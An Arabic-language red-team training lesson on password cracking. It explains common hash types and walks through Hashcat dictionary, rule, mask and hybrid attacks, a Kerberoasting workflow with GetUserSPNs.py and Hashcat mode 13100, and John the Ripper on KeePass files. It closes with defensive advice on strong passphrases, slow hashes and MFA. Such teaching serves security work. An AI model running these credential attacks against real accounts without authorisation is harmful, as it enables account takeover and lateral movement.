اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Password Cracking — إزاي بتقع فعلاً

Hashcat و John و wordlists و rules — والـ GPU بيعمل إيه

المستوى
متقدم
المدة
75m
الترتيب
الدرس 16 من 85
HashcatJohnCrackingCredentialsGPU

ليه بنكسر hashes أصلاً؟

تشبيه يقرّب الفكرة
بُص. مكتبة قرّرت تحتفظ بقايمة الكتب اللي قراها كل عضو.. بس بدل ما تكتب الاسم، حطّت بصمة (hash). - طب أنا هرجّع الاسم من البصمة إزاي يا حضرتك؟؟ مارجعش يا مستجد. ولا حد بيرجّع. إنت بتاخد كل الأسامي اللي تعرفها، تحسب بصماتها، وتقارن. ده بالظبط كسر الباسوردات. مش عكس الـ hash — تخمين الـ password، حسبة، مقارنة.

في أي engagement، هتلاقي نفسك جايب hashes من LSASS أو NTDS.dit أو /etc/shadow أو dump قاعدة بيانات. تكسرهم يبقوا credentials للـ lateral movement.

أنواع الـ hashes الشائعة

text
NTLM           — Windows local/domain accounts (16 bytes MD4)
NetNTLMv2      — Network challenge-response (Responder loot)
Kerberos 5 TGS — kerberoasting target (mode 13100)
DCC2 (MSCash2) — cached domain creds on workstations
bcrypt         — modern web apps ($2a$, $2b$)
SHA-512crypt   — Linux /etc/shadow ($6$)
MD5 / SHA1     — لا تزال موجودة في تطبيقات قديمة
PBKDF2-SHA256  — modern, slow (iOS keychain, 1Password)

Hashcat — أداة الميدان

1
جهّز الـ rig
GPU مش رفاهية، ضروري. RTX 4090 بيكسر 280 GH/s NTLM، أسرع من الـ CPU بعشرات المرات. حتى GTX 1080 بيمشّيك في الأول.
2
هجوم بقاموس
bash
# rockyou.txt = القاموس المفضّل (14M password)
hashcat -m 1000 -a 0 ntlm-hashes.txt /usr/share/wordlists/rockyou.txt

# -m 1000 = NTLM
# -a 0 = straight wordlist
3
هجوم بـ rules
القاعدة بتعدّل على كل كلمة (Capitalize، تضيف 2024، تستبدل e بـ 3).
bash
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# best64.rule = 64 تحويلة شائعة، بتزوّد فعالية القاموس 5x-10x
4
Mask attack — بنية معروفة
السياسة "8 حروف ورقم في الآخر"؟ استخدم mask.
bash
# ?u=upper ?l=lower ?d=digit ?s=symbol
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d
# Spring2024! style:
hashcat -m 1000 -a 3 hashes.txt -1 'Spring|Summer|Fall|Winter' ?1?d?d?d?d?s
5
Hybrid
كلمة من القاموس + 4 أرقام في الآخر (تجمع الاتنين).
bash
hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d?d?d

Kerberoasting workflow

النقطة الذهبية: حسابات الخدمة في AD غالباً باسوردها ضعيف وقابل للـ hashing. وأي domain user يقدر يطلب لها TGS.

bash
# جلب الـ tickets
GetUserSPNs.py -request corp.local/normaluser:Pass123 -dc-ip 10.0.0.10 -outputfile tgs.hashes

# كسرها (mode 13100)
hashcat -m 13100 -a 0 tgs.hashes rockyou.txt -r best64.rule

# Service accounts often have "Service@2023" / "ServiceName123" passwords

JtR — للحالات التي يفشل فيها hashcat

John the Ripper تحفة في الأنواع الغريبة (KeePass، 1Password، PDF، ZIP). hashcat للـ GPU، John للـ CPU والمرونة.

bash
# تخمين تلقائي للـ hash type
john --wordlist=rockyou.txt hashes.txt

# على keepass
keepass2john Database.kdbx > kp.hash
john --wordlist=rockyou.txt kp.hash

مقاييس

text
-- RTX 4090 على NTLM --
Pure brute  ?u?l?l?l?l?l?d?d  ≈ 6 ساعات
8-char rockyou + best64       ≈ دقيقتان
Kerberoast (13100) rockyou    ≈ 8 ساعات per ticket

-- DCC2 (slow) --
~4 MH/s فقط — تجنبه إلا للحسابات عالية القيمة

مصادر

  • Hashcat wiki — hashcat.net/wiki
  • SecLists — wordlists collection
  • Hash-Identifier / hashid — تحديد نوع الـ hash
  • CrackStation — lookup tables للـ hashes الضعيفة

غلطات الـ junior — اللي بتكشف العملية

الخلاصة الناشفة

الـ password ما اتكسرش — أنت اللي اخترته ضعيف.

اوعى تقول "إحنا عندنا policy تعقيد". الـ policy على ورق وبس.

الـ org اللي بتفرض 16-char passphrase + bcrypt/argon2 + MFA = الـ hashes بتاعتها بلا قيمة.

الـ org اللي عندها "Spring2024!" كباسورد لـ service account = اخترقت بالفعل، بس لسه ما عرفتش.

أنت ونصيبك في الآخر — يا الـ Kerberoast بيتمسك في 4 ثواني، يا قاعد جواك سنين.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.